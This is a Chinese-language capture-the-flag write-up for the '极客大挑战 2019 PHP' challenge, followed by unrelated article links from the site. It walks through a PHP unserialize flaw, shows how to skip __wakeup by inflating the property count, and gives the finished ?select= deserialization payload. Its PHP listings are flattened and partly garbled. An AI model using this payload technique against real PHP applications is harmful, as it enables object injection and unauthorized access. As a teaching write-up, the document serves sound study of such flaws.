标签:spl   payload   sorry   min   private   lob   audio   ascii   sel

题目上说有备份的好习惯,扫描目录得到www.zip

几个重要php文件内容:

index.php

1 php2 include ‘class.php‘;3 $select = $_GET[‘select‘];4 $res=unserialize(@$select);5 ?>

代码第4行unserialize可能存在反序列化漏洞

class.php

1 php2 include ‘flag.php‘;3 error_reporting(0);4 className{5 private $username = ‘nonono‘;6 private $password = ‘yesyes‘;7

8 public function __construct($username,$password){9 $this->username = $username;10 $this->password = $password;11 }12

13 function__wakeup(){14 $this->username = ‘guest‘;15 }16

17 function__destruct(){18 if ($this->password != 100) {19 echo "NO!!!hacker!!!";20 echo "You name is: ";21 echo $this->username;echo "";22 echo "You password is: ";23 echo $this->password;echo "";24 die();25 }26 if ($this->username === ‘admin‘) {27 global $flag;28 echo $flag;29 }else{30 echo "hello my friend~~sorry i can‘t give you the flag!";31 die();32 }33 }34 }35 ?>

代码第26行如果username为admin便输出flag,从__destruct,__construct,__wakeup可以判断存在反序列化漏洞

php序列化与反序列化

序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等

反序列化:函数为unserialize(),将字符串转换成变量或对象的过程

常用的内置方法:

__construct():创建对象时初始化,当一个对象创建时被调用

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruction():结束时销毁对象,当一个对象销毁时被调用

我们需要将Name类序列化的结果输出

phpclassName{private $username = ‘nonono‘;private $password = ‘yesyes‘;public function __construct($username,$password){$this->username = $username;$this->password = $password;

}

}$a = new Name(‘admin‘,100);$b = serialize($a);echo $b;

输出结果为

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

输出结果中Name和username,Name和password之间是有不可见字符的,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

另外我们还需要绕过__wakeup方法

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

所以payload为:

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

[极客大挑战 2019]PHP

标签:spl   payload   sorry   min   private   lob   audio   ascii   sel

极客大挑战2019php,[极客大挑战 2019]PHP相关推荐

  1. DayDayUp:1024节日快乐!程序猿界的颁奖典礼《年度十大程序员极客》正式公布!

    DayDayUp:1024节日快乐!程序猿界的颁奖典礼<年度十大程序员极客>正式公布! 导读:程序猿,作为二十一世纪的一种新生"物种",拥有较高的智商.无与伦比的忍耐力 ...

  2. 极兔爆发的上半年 快递圈大变局

    从快递市场的四大阵营(阿里系参股或控股的"通达百".京东系的京东物流.依靠拼多多快速增长的极兔.独立第三方的顺丰+丰网)来看,上半年整个市场已经出现一些变化:强者变得越来越强,弱者 ...

  3. 在贷款行业中,运营商大数据精准获客,是否真实有效呢

    众所周知,金融贷款公司需要许多的客户来开拓市场,但是消费者又不会一个个的积极主动找上门来,仅有累死累活的用广告宣传.电话销售等,预期效果又都不是很理想. 要知道做生意只不过是分为二种,一是积极主动寻找 ...

  4. 【营销获客一】消费金融大数据营销获客

    [营销获客一]消费金融大数据营销获客 一.消费金融的前世今生 1.强监管下的民间借贷蓝海 2.金融危机下的经济增长转型 3.学术导向的推波助澜 4.消费金融的必然诞生 5.实践后的真知 二.以营销认识 ...

  5. 2012年度十大杰出IT博客之 陈勇

    2012年度十大杰出IT博客之 火星人陈勇 个人简介: 曾以技术骨干和项目经理等身份,组织和承担开发了国庆50周年直升机编队指挥系统.空军一基地GPS数据源系统.清华同方CCTV数字电视条件接收系统. ...

  6. 网络”X客”大集合:博客、维客、奇客、播客、闪客、摩客、威克…

    网络"X客"大集合:博客.维客.奇客.播客.闪客.摩客.威克- 此文由风言疯语整理制作,转载请注明出处:http://www.kuangfeng.cn/blog/?p=234 随着 ...

  7. 无人机行业情况 - 亿航、大疆、极飞

    原文:https://zhuanlan.zhihu.com/p/97550979?utm_source=wechat_session 亿航优势:无人机载人 大疆:消费级,行业级中的农业 极飞:行业级中 ...

  8. 写文章 数据嗨客 | 第2期:线性回归 数据嗨客 | 第2期:线性回归 泊数 泊数 1 年前 普林大数据学院——“机器学习”系列 普林大数据学院依托北京大数据研究院和北京大学,为有需求的企业

    数据嗨客 | 第2期:线性回归 泊数 1 年前 普林大数据学院--"机器学习"系列 普林大数据学院依托北京大数据研究院和北京大学,为有需求的企业和用户提供线上线下结合大数据培训服务 ...

  9. 参加中国十大IT杰出博客

    参加中国十大IT杰出博客 投票: http://2010blog.51cto.com/350944

最新文章

  1. java切换系统输入法_java - 关于Android输入法切换的问题
  2. 25.智能指针.rs
  3. nRFgo Studio 和 Nrfjprog 无法找到JLinkARM.dll的解决方法
  4. mysql-bin.000001文件的来源及处理方法[转]
  5. ASP.NET的錯誤類型及錯誤處理方式
  6. 达梦数据库图形化工具
  7. 关于工信部要求品牌电脑强制预装“绿坝-花季护航”软件
  8. android实现activity半透明色
  9. 怎么解决电脑系统故障?
  10. AJAX 聊天室实现原理终极解析
  11. 起源地杯青年足球锦标赛
  12. chromebook刷机_如何以访客身份在Chrome和Chromebook上浏览
  13. 安装gtsam遇到的错误
  14. WifiNetworkSelector 走读
  15. 【华人学者风采】宋晓东 加州大学伯克利分校
  16. bscroll.js实现html手机端城市列表
  17. 其他总结(四)--win10手动一小时四小时一天重新打开wifi
  18. 互联网快讯:孩子王正式登陆深交所创业板;猿辅导转型素质教育;苹果延长AirPods Pro维修计​​​​​​​划
  19. 基于Java的校园二手交易平台
  20. 网上的名字测试打分软件准吗,姓名测算软件推荐以及测算过程,名典姓名测试准吗?...

热门文章

  1. 修改图片颜色 色相 饱和度 亮度 ColorMatrix
  2. 023递归:这帮小兔崽子
  3. vim下:wq和ZZ命令还是有区别的
  4. Some selectors are not allowed in component wxss, including tag name selectors, ID selectors,and...
  5. 我的女儿二三事(十三)
  6. 抖音android 语言英语,谁都能抖音教英语吗?
  7. 一些提高工作效率的黑科技软件和网站
  8. 2017春招百度实习生面试记录
  9. Windows mobile PPC,利用tmail.exe发送短信、彩信、邮件
  10. 剑指offer算法题,输入一个链表,反转链表后,输出新链表的表头。